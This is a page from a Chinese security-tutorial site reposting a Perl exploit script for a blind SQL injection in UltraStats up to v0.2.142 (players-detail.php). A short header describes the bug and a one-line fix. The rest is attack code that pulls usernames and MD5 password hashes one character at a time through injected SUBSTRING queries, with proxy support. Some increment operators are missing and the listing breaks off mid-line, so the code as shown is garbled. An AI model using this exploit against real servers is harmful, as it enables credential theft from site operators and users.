• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > Ultrastats

Ultrastats

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了Ultrastats ,其中包含Ultrastats 等知识点,遇到此问题的同学们可以参考下
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

#
# [!] Discovered.: DNX
# [!] Vendor.....: http://www.shooter-szene.de | http://www.ultrastats.org
# [!] Detected...: 29.06.2008
# [!] Reported...: 04.07.2008
# [!] Response...: xx.xx.2008
#
# [!] Background.: UltraStats is a very flexable log analyzing tool for Call of Duty 2 Server logfiles.
# It is able to parse and consolidate the information it can gather from these logs,
# and put them into a MySQL Database with a very efficient and high optimiced database
# layout.
#
# [!] Bug........: $_GET['id'] in players-detail.php near line 52
#
# 36: if ( isset($_GET['id']) )
# 37: {
# 38: // get and check
# 39: $content['playerguid'] = DB_RemoveBadChars($_GET['id']);
#
# 52: $sqlquery = "SELECT " .
# 53: "sum( " .STATS_ALIASES . ".Count) as Count, " .
# 54: STATS_ALIASES . ".Alias as Aliases_Alias, " .
# 55: STATS_ALIASES . ".AliasAsHtml as Aliases_AliasAsHtml" .
# 56: " FROM " . STATS_ALIASES .
# 57: " WHERE PLAYERID = " . $content['playerguid'] . " " .
# 58: GetCustomServerWhereQuery(STATS_ALIASES, false) .
# 59: " GROUP BY " . STATS_ALIASES . ".Alias " .
# 60: " ORDER BY Count DESC";
#
# [!] Tested on..: v0.2.136, v0.2.142
#
# [!] Solution...: no update from vendor till now
#
# [!] Quick fix..: in players-detail.php line 39:
#
# - replace:
# $content['playerguid'] = DB_RemoveBadChars($_GET['id']);
#
# - with:
# $content['playerguid'] = intval(DB_RemoveBadChars($_GET['id']));
#

if(!$ARGV[1])
{
print "\n \\#'#/ ";
print "\n (-.-) ";
print "\n --------------------------oOO---(_)---OOo--------------------------";
print "\n | Ultrastats <= v0.2.142 (players-detail.php) Blind SQL Injection |";
print "\n | coded by DNX |";
print "\n ------------------------------------------------------------------";
print "\n[!] Usage: perl ultrastats.pl [Host] [Path] <Options>";
print "\n[!] Example: perl ultrastats.pl 127.0.0.1 /ultrastats/ -o 2 -i 123 -l 2 -t users";
print "\n[!] Options:";
print "\n -o [no] 1 = username (default)";
print "\n 2 = password";
print "\n 3 = find database prefix (error based)";
print "\n -i [no] Valid GUID, default is 1";
print "\n -l [no] Limitation in sql query, -l 0 shows the first row,";
print "\n -l 1 the second one and so on, default is 0";
print "\n -t [name] Changed the user table name, default is stats_users";
print "\n -p [ip:port] Proxy support";
print "\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $target = "username";
my $user = 1;
my $limit = 0;
my $table = "stats_users";
my %options = ();
GetOptions(\%options, "o=i", "i=i", "l=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"i"})
{
$user = $options{"i"};
}

if($options{"l"})
{
$limit = $options{"l"};
}

if($options{"t"})
{
$table = $options{"t"};
}

if($options{"o"} == 1)
{
$target = "username";
get_username();
}
elsif($options{"o"} == 2)
{
$target = "password";
get_password();
}
elsif($options{"o"} == 3)
{
get_prefix();
}

sub get_username()
{
syswrite(STDOUT, "[!] Username: ", 14);
for(my $i = 1; $i <= 32; $i )
{
my $found = 0;
my $h = 48;
while(!$found && $h <= 57)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
if(!$found)
{
$h = 64;
while(!$found && $h <= 122)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
}
}
}

sub get_password()
{
syswrite(STDOUT, "[!] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i )
{
my $found = 0;
my $h = 48;
while(!$found && $h <= 57)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
if(!$found)
{
$h = 97;
while(!$found && $h <= 102)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
}
}
}

sub get_prefix()
{
my $ua = LWP::UserAgent->new;
my $url = "http://".$host.$path."players-detail.php?id=".$user."'";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $response = $ua->get($url);
my $content = $response->content;

$content =~ /^Database error: Invalid SQL: SELECT sum\( (.*?)_aliases.Count\) as Count,/;
print "[!] Prefix: ".$1;
}

print "\n[!] Exploit done\n";

sub istrue2
{
my $host = shift;
my $path = shift;
my $table = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $url = "http://".$host.$path."players-detail.php?id=".$user." AND SUBSTRING((SELECT ".$target." FROM ".$table." LIMIT ".$limit.",1),".$i.",1)=CHAR(".$h.")";

if($options{"p"})
{
$ua->proxy('http', "http://&quo

您可能想查找下面的文章:

相关文章

  • Maian Cart 1.1 Insecure Cookie Handling Vulnerability
  • Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit
  • AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability
  • Boonex Dolphin 6.1.2 Multiple Remote File Inclusion Vulnerabilities
  • Rianxosencabos CMS 0.9 Remote Add Admin Exploit
  • Acoustica Mixcraft
  • Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability
  • pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit
  • Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit
  • IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability
    • AuraCMS
    • MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption
    • Cisco IOS 12.3(18) FTP Server Remote Exploit (attached to gdb)
    • Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
    • Facebook Newsroom CMS 0.5.0 Beta 1 Remote File Inclusion Vulnerability
    • BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability
    • DESlock
    • Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability
    • Pragyan CMS 2.6.2 (sourceFolder) Remote File Inclusion Vulnerability

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有